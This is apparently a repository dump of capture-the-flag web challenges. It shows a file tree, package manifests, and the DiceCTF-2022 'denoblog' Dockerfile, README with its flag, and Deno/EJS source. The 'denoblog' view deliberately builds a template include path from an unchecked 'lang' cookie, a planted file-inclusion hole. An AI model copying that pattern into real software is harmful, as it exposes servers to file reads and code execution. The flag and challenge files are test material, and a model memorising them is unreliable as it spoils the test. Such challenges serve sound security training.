├── 1337UP-LIVE
├── DeadTube
│ ├── README.md
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ └── public
│ │ ├── download.jpg
│ │ ├── index.html
│ │ └── kek.png
└── contact-alex
│ ├── README.md
│ ├── bot.js
│ ├── index.js
│ ├── package.json
│ ├── public
│ ├── kirby-pink.gif
│ └── script.js
│ └── views
│ ├── home.hbs
│ └── login.hbs
├── DiceCTF-2022
├── denoblog
│ ├── Dockerfile
│ ├── README.md
│ ├── challenge
│ │ ├── app.ts
│ │ ├── langs
│ │ │ ├── en
│ │ │ └── es
│ │ └── views
│ │ │ └── index.ejs
│ ├── config
│ │ ├── nginx.conf
│ │ └── supervisord.conf
│ ├── flag.txt
│ └── readflag
├── notekeeper
│ ├── Dockerfile
│ ├── README.md
│ ├── hint.js
│ ├── index.js
│ ├── package.json
│ ├── pages
│ │ ├── home.html
│ │ └── login.html
│ ├── public
│ │ ├── assets
│ │ │ ├── bootstrap
│ │ │ │ ├── css
│ │ │ │ │ └── bootstrap.min.css
│ │ │ │ └── js
│ │ │ │ │ └── bootstrap.min.js
│ │ │ ├── css
│ │ │ │ └── styles.css
│ │ │ └── fonts
│ │ │ │ ├── fa-brands-400.eot
│ │ │ │ ├── fa-brands-400.svg
│ │ │ │ ├── fa-brands-400.ttf
│ │ │ │ ├── fa-brands-400.woff
│ │ │ │ ├── fa-brands-400.woff2
│ │ │ │ ├── fa-regular-400.eot
│ │ │ │ ├── fa-regular-400.svg
│ │ │ │ ├── fa-regular-400.ttf
│ │ │ │ ├── fa-regular-400.woff
│ │ │ │ ├── fa-regular-400.woff2
│ │ │ │ ├── fa-solid-900.eot
│ │ │ │ ├── fa-solid-900.svg
│ │ │ │ ├── fa-solid-900.ttf
│ │ │ │ ├── fa-solid-900.woff
│ │ │ │ ├── fa-solid-900.woff2
│ │ │ │ └── fontawesome-all.min.css
│ │ └── script.js
│ ├── routes
│ │ └── api.js
│ ├── src
│ │ ├── db.js
│ │ ├── jwt.js
│ │ └── utils.js
│ └── uploads
│ │ └── flag.mp3
└── vm-calc
│ ├── Dockerfile
│ ├── README.md
│ ├── flag.txt
│ ├── index.js
│ ├── package.json
│ └── views
│ ├── admin.hbs
│ └── index.hbs
├── DiceCTF-2023
├── pwn
│ └── chessrs
│ │ ├── adminbot-test.js
│ │ ├── adminbot.js
│ │ ├── challenge.yml
│ │ ├── challenge
│ │ ├── Dockerfile
│ │ ├── app
│ │ │ ├── Cargo.lock
│ │ │ ├── Cargo.toml
│ │ │ ├── src
│ │ │ │ └── main.rs
│ │ │ └── static
│ │ │ │ ├── css
│ │ │ │ └── styles.css
│ │ │ │ ├── engine.html
│ │ │ │ ├── img
│ │ │ │ └── chesspieces
│ │ │ │ │ └── wikipedia
│ │ │ │ │ ├── LICENSE.txt
│ │ │ │ │ ├── bB.png
│ │ │ │ │ ├── bK.png
│ │ │ │ │ ├── bN.png
│ │ │ │ │ ├── bP.png
│ │ │ │ │ ├── bQ.png
│ │ │ │ │ ├── bR.png
│ │ │ │ │ ├── wB.png
│ │ │ │ │ ├── wK.png
│ │ │ │ │ ├── wN.png
│ │ │ │ │ ├── wP.png
│ │ │ │ │ ├── wQ.png
│ │ │ │ │ └── wR.png
│ │ │ │ ├── index.html
│ │ │ │ ├── js
│ │ │ │ ├── chess_wasm.js
│ │ │ │ ├── chess_wasm_bg.wasm
│ │ │ │ └── game.js
│ │ │ │ └── mp3
│ │ │ │ └── move.mp3
│ │ ├── build.sh
│ │ └── chess-wasm
│ │ │ ├── Cargo.lock
│ │ │ ├── Cargo.toml
│ │ │ └── src
│ │ │ ├── game.rs
│ │ │ ├── handler.rs
│ │ │ └── lib.rs
│ │ ├── chessrs.tar.gz
│ │ ├── flag.txt
│ │ └── make_handout.sh
└── web
│ ├── jwtjail
│ ├── challenge.yml
│ ├── challenge
│ │ ├── Dockerfile
│ │ ├── app.js
│ │ ├── flag.txt
│ │ ├── package.json
│ │ ├── public
│ │ │ └── index.html
│ │ └── readflag
│ ├── jwtjail.tar.gz
│ └── make_handout.sh
│ ├── recursive-csp
│ ├── adminbot.js
│ ├── challenge.yml
│ ├── challenge
│ │ ├── Dockerfile
│ │ └── index.php
│ ├── flag.txt
│ └── solve
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ └── src
│ │ └── main.rs
│ └── unfinished
│ ├── challenge.yml
│ ├── challenge
│ ├── app
│ │ ├── Dockerfile
│ │ ├── app.js
│ │ ├── package.json
│ │ └── static
│ │ │ ├── dashboard.html
│ │ │ └── index.html
│ ├── docker-compose.yml
│ └── mongo
│ │ ├── Dockerfile
│ │ └── init.js
│ ├── make_handout.sh
│ └── unfinished.tar.gz
├── DiceCTF-at-HOPE-2022
└── payment-pal
│ ├── Dockerfile
│ ├── admin-bot.js
│ ├── index.js
│ ├── package.json
│ ├── public
│ ├── assets
│ │ └── script.js
│ └── index.html
│ └── src
│ ├── auth.js
│ ├── db.js
│ └── graphql.js
├── LICENSE
├── README.md
├── RaRCTF-2021
└── SecureStorage
│ ├── README.md
│ ├── admin
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── admin.js
│ ├── index.js
│ ├── package-lock.json
│ └── package.json
│ ├── chall
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ │ ├── assets
│ │ │ ├── bootstrap
│ │ │ │ └── css
│ │ │ │ │ └── bootstrap.min.css
│ │ │ ├── css
│ │ │ │ └── styles.css
│ │ │ └── img
│ │ │ │ └── vault.png
│ │ └── script.js
│ ├── routes
│ │ └── api.js
│ ├── secure_safe
│ │ ├── assets
│ │ │ ├── LICENSE.txt
│ │ │ ├── css
│ │ │ │ ├── bootstrap.min.css
│ │ │ │ └── fontawesome.min.css
│ │ │ └── webfonts
│ │ │ │ ├── fa-brands-400.eot
│ │ │ │ ├── fa-brands-400.svg
│ │ │ │ ├── fa-brands-400.ttf
│ │ │ │ ├── fa-brands-400.woff
│ │ │ │ ├── fa-brands-400.woff2
│ │ │ │ ├── fa-regular-400.eot
│ │ │ │ ├── fa-regular-400.svg
│ │ │ │ ├── fa-regular-400.ttf
│ │ │ │ ├── fa-regular-400.woff
│ │ │ │ ├── fa-regular-400.woff2
│ │ │ │ ├── fa-solid-900.eot
│ │ │ │ ├── fa-solid-900.svg
│ │ │ │ ├── fa-solid-900.ttf
│ │ │ │ ├── fa-solid-900.woff
│ │ │ │ └── fa-solid-900.woff2
│ │ └── secure.js
│ └── views
│ │ ├── home.hbs
│ │ ├── index.hbs
│ │ ├── layout.hbs
│ │ ├── login.hbs
│ │ ├── register.hbs
│ │ ├── secure.hbs
│ │ └── submit.hbs
│ └── docker-compose.yml
├── Real-World-CTF-2023
└── the_cult_of_8bit
│ ├── Dockerfile
│ ├── README.md
│ ├── bot
│ └── bot.js
│ ├── code
│ ├── app.js
│ ├── package-lock.json
│ ├── package.json
│ ├── routes
│ │ └── api.js
│ ├── src
│ │ ├── db.js
│ │ └── middleware.js
│ ├── static
│ │ └── assets
│ │ │ └── img
│ │ │ ├── 48x48M.png
│ │ │ ├── 48x48Sorriso.png
│ │ │ ├── 64x64blind.png
│ │ │ └── 9bc27292880429.5e569ff84e4d0.gif
│ └── views
│ │ ├── home.ejs
│ │ ├── login.ejs
│ │ ├── post.ejs
│ │ ├── register.ejs
│ │ └── report.ejs
│ ├── docker-compose.yml
│ └── setup.sh
├── SekaiCTF-2022
├── crab-commodities
│ ├── Dockerfile
│ └── chall
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ └── src
│ │ ├── api.rs
│ │ ├── auth.rs
│ │ ├── game.rs
│ │ ├── main.rs
│ │ └── templates
│ │ ├── game.html
│ │ ├── index.html
│ │ ├── login.html
│ │ └── register.html
├── obligatory-calc
│ ├── Dockerfile
│ ├── adminbot_test.js
│ ├── app.js
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ │ └── css
│ │ │ ├── styles.css
│ │ │ └── water.css
│ └── views
│ │ ├── calc.hbs
│ │ └── home.hbs
└── safelist
│ ├── Dockerfile
│ ├── adminbot_test.js
│ ├── app.js
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ ├── css
│ │ └── marx.css
│ └── js
│ │ └── purify.js
│ └── views
│ └── home.hbs
├── SekaiCTF-2023
├── golfjail
│ ├── README.md
│ ├── challenge
│ │ ├── Dockerfile
│ │ ├── challenge
│ │ │ └── index.php
│ │ └── config
│ │ │ ├── fpm.conf
│ │ │ ├── nginx.conf
│ │ │ └── supervisord.conf
│ ├── dist
│ │ └── golfjail.php
│ ├── solution
│ │ └── solve.txt
│ └── values.yaml
└── leaklessnote
│ ├── .values.yaml
│ ├── README.md
│ ├── challenge
│ ├── Dockerfile
│ ├── challenge
│ │ ├── db.php
│ │ ├── index.php
│ │ ├── login.php
│ │ ├── post.php
│ │ ├── register.php
│ │ └── search.php
│ └── config
│ │ ├── fpm.conf
│ │ ├── nginx.conf
│ │ ├── php.ini
│ │ └── supervisord.conf
│ ├── deployment.yaml
│ ├── dist
│ ├── adminbot.js
│ └── leaklessnote.tar.gz
│ └── solution
│ └── solve.html
├── corCTF-2021
├── LICENSE
├── misc
│ ├── flagbot
│ │ ├── README.md
│ │ ├── discord
│ │ │ ├── .dockerignore
│ │ │ ├── Dockerfile
│ │ │ ├── index.js
│ │ │ ├── package-lock.json
│ │ │ └── package.json
│ │ ├── docker-compose.yml
│ │ └── web
│ │ │ ├── .dockerignore
│ │ │ ├── Dockerfile
│ │ │ ├── index.js
│ │ │ ├── package-lock.json
│ │ │ └── package.json
│ └── smogofwar
│ │ ├── README.md
│ │ ├── chall
│ │ ├── Dockerfile
│ │ ├── app.py
│ │ ├── enemy.py
│ │ ├── game.py
│ │ ├── requirements.txt
│ │ ├── start.sh
│ │ └── static
│ │ │ ├── LICENSE.md
│ │ │ ├── bootstrap
│ │ │ └── css
│ │ │ │ └── bootstrap.min.css
│ │ │ ├── css
│ │ │ ├── chessboard-1.0.0.min.css
│ │ │ └── styles.css
│ │ │ ├── img
│ │ │ └── chesspieces
│ │ │ │ └── wikipedia
│ │ │ │ ├── bB.png
│ │ │ │ ├── bK.png
│ │ │ │ ├── bN.png
│ │ │ │ ├── bP.png
│ │ │ │ ├── bQ.png
│ │ │ │ ├── bR.png
│ │ │ │ ├── wB.png
│ │ │ │ ├── wK.png
│ │ │ │ ├── wN.png
│ │ │ │ ├── wP.png
│ │ │ │ ├── wQ.png
│ │ │ │ └── wR.png
│ │ │ ├── index.html
│ │ │ ├── js
│ │ │ ├── chessboard-1.0.0.min.js
│ │ │ └── game.js
│ │ │ └── mp3
│ │ │ └── move.mp3
│ │ └── docker-compose.yml
├── rev
│ └── babyrev
│ │ ├── README.md
│ │ └── babyrev
└── web
│ ├── blogme
│ ├── README.md
│ ├── chall
│ │ ├── .dockerignore
│ │ ├── Dockerfile
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── partials
│ │ │ ├── footer.ejs
│ │ │ └── header.ejs
│ │ ├── public
│ │ │ └── assets
│ │ │ │ ├── bootstrap
│ │ │ │ ├── css
│ │ │ │ │ └── bootstrap.min.css
│ │ │ │ └── js
│ │ │ │ │ └── bootstrap.min.js
│ │ │ │ ├── css
│ │ │ │ └── styles.css
│ │ │ │ └── js
│ │ │ │ ├── jquery.min.js
│ │ │ │ └── script.js
│ │ ├── routes
│ │ │ ├── api.js
│ │ │ └── index.js
│ │ ├── src
│ │ │ ├── db.js
│ │ │ └── util.js
│ │ ├── uploads
│ │ │ └── .gitkeep
│ │ └── views
│ │ │ ├── comment.ejs
│ │ │ ├── index.ejs
│ │ │ ├── login.ejs
│ │ │ ├── post.ejs
│ │ │ ├── posts.ejs
│ │ │ ├── profile.ejs
│ │ │ ├── register.ejs
│ │ │ └── remove.ejs
│ ├── docker-compose.yml
│ └── hint.js
│ ├── buyme
│ ├── README.md
│ ├── chall
│ │ ├── .dockerignore
│ │ ├── Dockerfile
│ │ ├── db.js
│ │ ├── flags.json
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── public
│ │ │ └── assets
│ │ │ │ ├── bootstrap
│ │ │ │ └── css
│ │ │ │ │ └── bootstrap.min.css
│ │ │ │ └── css
│ │ │ │ └── styles.css
│ │ ├── routes
│ │ │ └── api.js
│ │ └── views
│ │ │ ├── flags.hbs
│ │ │ ├── index.hbs
│ │ │ └── layout.hbs
│ └── docker-compose.yml
│ ├── msgme
│ ├── README.md
│ ├── chall
│ │ ├── .dockerignore
│ │ ├── Dockerfile
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── public
│ │ │ ├── chat.js
│ │ │ └── styles.css
│ │ ├── routes
│ │ │ └── chat.js
│ │ ├── src
│ │ │ ├── commands.js
│ │ │ ├── commands
│ │ │ │ ├── 8ball.js
│ │ │ │ ├── coinflip.js
│ │ │ │ ├── flag.js
│ │ │ │ ├── help.js
│ │ │ │ ├── math.js
│ │ │ │ ├── roll.js
│ │ │ │ └── secret.js
│ │ │ └── ws.js
│ │ └── views
│ │ │ ├── chat.hbs
│ │ │ └── sandbox.hbs
│ ├── docker-compose.yml
│ └── hint.js
│ ├── phpme
│ ├── Dockerfile
│ ├── README.md
│ ├── challenge
│ │ ├── index.php
│ │ └── secret.php
│ └── config
│ │ ├── fpm.conf
│ │ ├── nginx.conf
│ │ └── supervisord.conf
│ ├── readme
│ ├── README.md
│ ├── chall
│ │ ├── .dockerignore
│ │ ├── Dockerfile
│ │ ├── flag.txt
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ └── public
│ │ │ └── index.html
│ └── docker-compose.yml
│ ├── saasme
│ ├── README.md
│ ├── chall
│ │ ├── .dockerignore
│ │ ├── Dockerfile
│ │ ├── browser.js
│ │ ├── index.js
│ │ ├── package.json
│ │ ├── private.js
│ │ ├── public.js
│ │ ├── queue.js
│ │ ├── schema.js
│ │ └── static
│ │ │ ├── assets
│ │ │ ├── bootstrap
│ │ │ │ ├── css
│ │ │ │ │ └── bootstrap.min.css
│ │ │ │ └── js
│ │ │ │ │ └── bootstrap.min.js
│ │ │ ├── css
│ │ │ │ └── styles.css
│ │ │ ├── img
│ │ │ │ └── saasme.jpg
│ │ │ └── saasme.js
│ │ │ └── index.html
│ ├── docker-compose.yml
│ └── flag
│ │ ├── Dockerfile
│ │ └── send_flag.sh
│ └── styleme
│ ├── README.md
│ ├── admin
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── admin.js
│ ├── entrypoint.sh
│ ├── extension
│ │ ├── background.js
│ │ ├── content.js
│ │ ├── icon128.png
│ │ ├── icon16.png
│ │ ├── icon48.png
│ │ ├── manifest.json
│ │ ├── option.js
│ │ └── options.html
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ └── startdisplay.sh
│ ├── admin_test
│ ├── admin.js
│ ├── extension
│ │ ├── background.js
│ │ ├── content.js
│ │ ├── icon128.png
│ │ ├── icon16.png
│ │ ├── icon48.png
│ │ ├── manifest.json
│ │ ├── option.js
│ │ └── options.html
│ └── package.json
│ ├── chall
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ │ └── assets
│ │ │ ├── bootstrap
│ │ │ ├── css
│ │ │ │ └── bootstrap.min.css
│ │ │ └── js
│ │ │ │ └── bootstrap.min.js
│ │ │ ├── css
│ │ │ ├── CodeMirror.min.css
│ │ │ └── styles.min.css
│ │ │ ├── fonts
│ │ │ ├── fa-brands-400.eot
│ │ │ ├── fa-brands-400.svg
│ │ │ ├── fa-brands-400.ttf
│ │ │ ├── fa-brands-400.woff
│ │ │ ├── fa-brands-400.woff2
│ │ │ ├── fa-regular-400.eot
│ │ │ ├── fa-regular-400.svg
│ │ │ ├── fa-regular-400.ttf
│ │ │ ├── fa-regular-400.woff
│ │ │ ├── fa-regular-400.woff2
│ │ │ ├── fa-solid-900.eot
│ │ │ ├── fa-solid-900.svg
│ │ │ ├── fa-solid-900.ttf
│ │ │ ├── fa-solid-900.woff
│ │ │ ├── fa-solid-900.woff2
│ │ │ └── fontawesome-all.min.css
│ │ │ └── js
│ │ │ └── jquery.min.js
│ ├── routes
│ │ ├── api.js
│ │ └── styles.js
│ ├── src
│ │ └── db.js
│ └── views
│ │ ├── create.hbs
│ │ ├── index.hbs
│ │ ├── layout.hbs
│ │ ├── list.hbs
│ │ ├── login.hbs
│ │ ├── register.hbs
│ │ └── submit.hbs
│ └── docker-compose.yml
├── corCTF-2022
├── misc
│ └── sbxcalc
│ │ ├── README.md
│ │ └── task
│ │ ├── Dockerfile
│ │ ├── app.js
│ │ ├── package.json
│ │ └── views
│ │ └── index.hbs
├── pwn
│ ├── babypwn
│ │ ├── README.md
│ │ ├── src
│ │ │ ├── Cargo.toml
│ │ │ └── src
│ │ │ │ └── main.rs
│ │ └── task
│ │ │ ├── Dockerfile
│ │ │ ├── babypwn
│ │ │ ├── flag.txt
│ │ │ └── libc.so.6
│ └── solidarity
│ │ ├── README.md
│ │ ├── src
│ │ ├── program
│ │ │ ├── Cargo.toml
│ │ │ ├── Makefile
│ │ │ └── src
│ │ │ │ ├── entrypoint.rs
│ │ │ │ ├── lib.rs
│ │ │ │ └── processor.rs
│ │ └── server
│ │ │ ├── Cargo.toml
│ │ │ ├── Makefile
│ │ │ └── src
│ │ │ └── main.rs
│ │ └── task
│ │ ├── Dockerfile
│ │ ├── solidarity-server
│ │ └── solidarity.so
└── web
│ ├── jsonquiz
│ ├── README.md
│ └── task
│ │ ├── Dockerfile
│ │ ├── app.js
│ │ ├── package.json
│ │ └── static
│ │ ├── assets
│ │ ├── css
│ │ │ ├── animate.min.css
│ │ │ ├── bootstrap.min.css
│ │ │ └── styles.css
│ │ └── js
│ │ │ ├── bootstrap.min.js
│ │ │ └── quiz.js
│ │ └── index.html
│ ├── modernblog
│ ├── README.md
│ └── task
│ │ ├── Dockerfile
│ │ ├── adminbot_test.js
│ │ ├── client
│ │ ├── index.html
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── main.jsx
│ │ │ └── pages
│ │ │ │ ├── Home.jsx
│ │ │ │ ├── Index.jsx
│ │ │ │ ├── Login.jsx
│ │ │ │ ├── Post.jsx
│ │ │ │ └── Register.jsx
│ │ └── vite.config.js
│ │ └── server
│ │ ├── index.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ └── public
│ │ ├── assets
│ │ ├── index.7352e15a.js
│ │ └── index.7352e15a.js.map
│ │ └── index.html
│ ├── rustshop
│ ├── README.md
│ └── task
│ │ ├── Dockerfile
│ │ ├── client
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ ├── Trunk.toml
│ │ ├── index.html
│ │ └── src
│ │ │ ├── components.rs
│ │ │ ├── components
│ │ │ ├── hero.rs
│ │ │ ├── navbar.rs
│ │ │ ├── shop.rs
│ │ │ └── user.rs
│ │ │ ├── main.rs
│ │ │ ├── routes.rs
│ │ │ └── routes
│ │ │ ├── home.rs
│ │ │ ├── login.rs
│ │ │ └── register.rs
│ │ ├── hint.txt
│ │ └── server
│ │ ├── Cargo.lock
│ │ ├── Cargo.toml
│ │ ├── src
│ │ ├── auth.rs
│ │ ├── main.rs
│ │ ├── routes.rs
│ │ ├── routes
│ │ │ └── api.rs
│ │ └── utils.rs
│ │ └── static
│ │ ├── client-165abaf50c73f044.js
│ │ ├── client-165abaf50c73f044_bg.wasm
│ │ └── index.html
│ └── simplewaf
│ ├── README.md
│ └── task
│ ├── Dockerfile
│ ├── flag.txt
│ ├── index.html
│ ├── main.js
│ ├── package.json
│ ├── styles.css
│ └── wow.html
└── corCTF-2023
├── blockchain
├── baby-wallet
│ ├── 98-start-gunicorn
│ ├── Dockerfile
│ ├── README.md
│ ├── contracts
│ │ ├── BabyWallet.sol
│ │ └── Setup.sol
│ ├── deploy
│ │ └── chal.py
│ ├── eth_sandbox
│ │ ├── __init__.py
│ │ ├── auth.py
│ │ ├── launcher.py
│ │ └── server.py
│ └── requirements.txt
└── tribunal
│ ├── README.md
│ ├── challenge
│ ├── Dockerfile
│ ├── art.txt
│ ├── tribunal-server
│ └── tribunal.so
│ ├── program
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── Makefile
│ └── src
│ │ ├── entrypoint.rs
│ │ ├── lib.rs
│ │ └── processor.rs
│ └── server
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── Makefile
│ └── src
│ └── main.rs
├── misc
├── msfrogofwar2
│ ├── README.md
│ └── chall
│ │ ├── Dockerfile
│ │ ├── app.py
│ │ ├── chesslib.py
│ │ ├── movegen.py
│ │ ├── requirements.txt
│ │ ├── start.sh
│ │ └── static
│ │ ├── LICENSE.md
│ │ ├── bootstrap
│ │ └── css
│ │ │ └── bootstrap.min.css
│ │ ├── css
│ │ ├── bootstrap.min.css
│ │ ├── chessboard-1.0.0.min.css
│ │ ├── styles.css
│ │ └── sweetalert2.min.css
│ │ ├── img
│ │ ├── chesspieces
│ │ │ └── wikipedia
│ │ │ │ ├── bB.png
│ │ │ │ ├── bK.png
│ │ │ │ ├── bN.png
│ │ │ │ ├── bP.png
│ │ │ │ ├── bQ.png
│ │ │ │ ├── bR.png
│ │ │ │ ├── wB.png
│ │ │ │ ├── wK.png
│ │ │ │ ├── wN.png
│ │ │ │ ├── wP.png
│ │ │ │ ├── wQ.png
│ │ │ │ └── wR.png
│ │ └── msfrogcursor.png
│ │ ├── index.html
│ │ ├── js
│ │ ├── chessboard-1.0.0.min.js
│ │ ├── game.js
│ │ ├── jquery.min.js
│ │ ├── socket.io.min.js
│ │ └── sweetalert2.min.js
│ │ └── mp3
│ │ └── move.mp3
└── touch-grass
│ ├── README.md
│ └── chall
│ ├── Dockerfile
│ ├── app.js
│ ├── package-lock.json
│ ├── package.json
│ └── views
│ └── index.hbs
└── web
├── crabspace
├── README.md
├── adminbot.js
└── chall
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── Dockerfile
│ ├── flag.txt
│ ├── public
│ ├── axist.min.css
│ └── styles.css
│ ├── src
│ ├── db.rs
│ ├── main.rs
│ ├── routes.rs
│ ├── routes
│ │ ├── admin.rs
│ │ ├── api.rs
│ │ ├── root.rs
│ │ └── space.rs
│ └── utils.rs
│ └── templates
│ ├── admin.html
│ ├── home.html
│ ├── index.html
│ ├── layout.html
│ ├── login.html
│ ├── register.html
│ └── space.html
├── leakynote
├── README.md
├── admin_password.txt
├── adminbot.js
└── chall
│ ├── Dockerfile
│ ├── challenge
│ ├── assets
│ │ ├── milligram.css
│ │ └── normalize.css
│ ├── db.php
│ ├── index.php
│ ├── login.php
│ ├── post.php
│ ├── register.php
│ └── search.php
│ └── config
│ ├── fpm.conf
│ ├── nginx.conf
│ ├── php.ini
│ └── supervisord.conf
└── pdf-pal
├── README.md
└── chall
├── Dockerfile
├── app
├── app.py
├── pages
│ ├── generate.html
│ └── index.html
└── requirements.txt
├── config
├── nginx.conf
└── supervisord.conf
├── flag.txt
└── pdf-gen
├── app.js
├── output
└── .gitkeep
├── package-lock.json
├── package.json
└── pdfbot.js
/1337UP-LIVE/DeadTube/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Baby
2 |
3 | Author: Strellic & BrunoZero
--------------------------------------------------------------------------------
/1337UP-LIVE/DeadTube/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ssrf",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.17.2",
13 | "node-fetch": "^3.2.0",
14 | "private-ip": "^2.3.3"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/1337UP-LIVE/DeadTube/public/download.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/1337UP-LIVE/DeadTube/public/download.jpg
--------------------------------------------------------------------------------
/1337UP-LIVE/DeadTube/public/kek.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/1337UP-LIVE/DeadTube/public/kek.png
--------------------------------------------------------------------------------
/1337UP-LIVE/contact-alex/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Easy
2 |
3 | Author: Strellic & BrunoZero
--------------------------------------------------------------------------------
/1337UP-LIVE/contact-alex/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "contact_alex",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "cookie-parser": "^1.4.6",
13 | "express": "^4.17.2",
14 | "hbs": "^4.2.0",
15 | "jwt-simple": "0.5.2",
16 | "puppeteer": "^13.3.1"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/1337UP-LIVE/contact-alex/public/kirby-pink.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/1337UP-LIVE/contact-alex/public/kirby-pink.gif
--------------------------------------------------------------------------------
/1337UP-LIVE/contact-alex/public/script.js:
--------------------------------------------------------------------------------
1 | let search = new URLSearchParams(location.search);
2 |
3 | // messages
4 | if(search.get("message")) {
5 | alert(search.get("message"));
6 | history.replaceState(null, document.title, location.pathname);
7 | }
8 |
9 | if($("#main-modal")[0]) {
10 | $("#close-btn").on("click", () => {
11 | $("#main-modal").addClass("hide");
12 | });
13 | }
14 |
15 | if($("#report-btn")[0]) {
16 | $("#report-btn").on("click", () => {
17 | $("#main-form").attr("action", "/report");
18 | $("#main-form").submit();
19 | });
20 | }
--------------------------------------------------------------------------------
/1337UP-LIVE/contact-alex/views/login.hbs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
Hi, Only Alex can LogIn
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM denoland/deno
2 |
3 | RUN apt update && apt install -y supervisor nginx
4 |
5 | COPY flag.txt /flag.txt
6 | COPY readflag /readflag
7 |
8 | RUN chmod 400 /flag.txt
9 | RUN chmod 6755 /readflag
10 |
11 | RUN mkdir -p /app
12 | WORKDIR /app
13 |
14 | COPY challenge .
15 |
16 | RUN deno compile --allow-read --allow-write --allow-net app.ts
17 | RUN chmod 755 /app/app
18 |
19 | COPY config/supervisord.conf /etc/supervisord.conf
20 | COPY config/nginx.conf /etc/nginx/nginx.conf
21 |
22 | EXPOSE 80
23 |
24 | CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Hard
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | I love NodeJS and all, but I've heard that Deno is pretty cool...
8 |
9 | I'm making my new blog on it! Even if there's a vuln, Deno will protect me, right?
10 | ```
11 |
12 | Flag: `dice{but_1_th0ught_den0s_permissi0ns_w0uld_s4ve_m3.....:<}`
13 |
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/challenge/app.ts:
--------------------------------------------------------------------------------
1 | import { serve } from "https://deno.land/std/http/server.ts";
2 | import * as cookie from "https://deno.land/std/http/cookie.ts";
3 |
4 | import * as dejs from "https://deno.land/x/dejs/mod.ts";
5 |
6 | const port = 8080;
7 |
8 | const handler = async (req: Request): Promise => {
9 | let lang = cookie.getCookies(req.headers)["lang"] ?? "en";
10 |
11 | let body = await dejs.renderFileToString("./views/index.ejs", { lang });
12 |
13 | let headers = new Headers();
14 | headers.set("content-type", "text/html");
15 |
16 | return new Response(body, { headers, status: 200 });
17 | };
18 |
19 | console.log("[app] server now listening for connections...");
20 | await serve(handler, { port });
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/challenge/langs/en:
--------------------------------------------------------------------------------
1 | <%
2 | i18n = {
3 | "HEADER": "Welcome to my blog!",
4 | "SWITCH_LANG": "Switch language:",
5 | "COMING_SOON": "Blog posts coming soon..."
6 | };
7 | %>
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/challenge/langs/es:
--------------------------------------------------------------------------------
1 | <%
2 | i18n = {
3 | "HEADER": "¡Bienvenido a mi blog!",
4 | "SWITCH_LANG": "Cambiar de idioma:",
5 | "COMING_SOON": "Publicaciones de blog próximamente..."
6 | };
7 | %>
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/challenge/views/index.ejs:
--------------------------------------------------------------------------------
1 | <% await include(`./langs/${lang}`); %>
2 |
3 |
4 |
5 | denoblog
6 |
7 |
8 |
9 |
10 |
11 | denoblog
12 | <%= i18n.HEADER %>
13 |
14 |
15 |
20 |
21 |
22 | <%= i18n.COMING_SOON %>
23 |
24 |
25 |
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/config/nginx.conf:
--------------------------------------------------------------------------------
1 | pid /run/nginx.pid;
2 | error_log /dev/stderr info;
3 |
4 | events {
5 | worker_connections 1024;
6 | }
7 |
8 | http {
9 | server_tokens off;
10 | log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
11 | access_log /dev/stdout docker;
12 |
13 | charset utf-8;
14 | keepalive_timeout 20s;
